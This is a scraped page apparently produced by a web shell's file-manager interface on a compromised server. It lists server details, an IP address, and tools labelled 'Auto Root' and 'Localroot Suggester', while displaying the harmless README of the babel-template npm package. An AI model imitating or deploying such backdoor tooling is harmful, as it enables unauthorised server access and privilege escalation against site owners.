Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.134.253.166
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
babel-template /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxrwxr-x
2022-08-30 11:49
.npmignore
22
B
-rw-rw-r--
2022-08-30 11:49
README.md
1.2
KB
-rw-rw-r--
2022-08-30 11:49
package-lock.json
547
B
-rw-rw-r--
2022-08-30 11:49
package.json
506
B
-rw-rw-r--
2022-08-30 11:49
Save
Rename
# babel-template > Generate an AST from a string template. In computer science, this is known as an implementation of quasiquotes. ## Install ```sh npm install --save-dev babel-template ``` ## Usage ```js import template from "babel-template"; import generate from "babel-generator"; import * as t from "babel-types"; const buildRequire = template(` var IMPORT_NAME = require(SOURCE); `); const ast = buildRequire({ IMPORT_NAME: t.identifier("myModule"), SOURCE: t.stringLiteral("my-module") }); console.log(generate(ast).code); ``` ```js const myModule = require("my-module"); ``` ## API ### `template(code, [opts])` #### code Type: `string` #### options `babel-template` accepts all of the options from [babylon], and specifies some defaults of its own: * `allowReturnOutsideFunction` is set to `true` by default. * `allowSuperOutsideMethod` is set to `true` by default. ##### preserveComments Type: `boolean` Default: `false` Set this to `true` to preserve any comments from the `code` parameter. #### Return value `babel-template` returns a `function` which is invoked with an optional object of replacements. See the usage section for an example. [babylon]: https://github.com/babel/babylon#options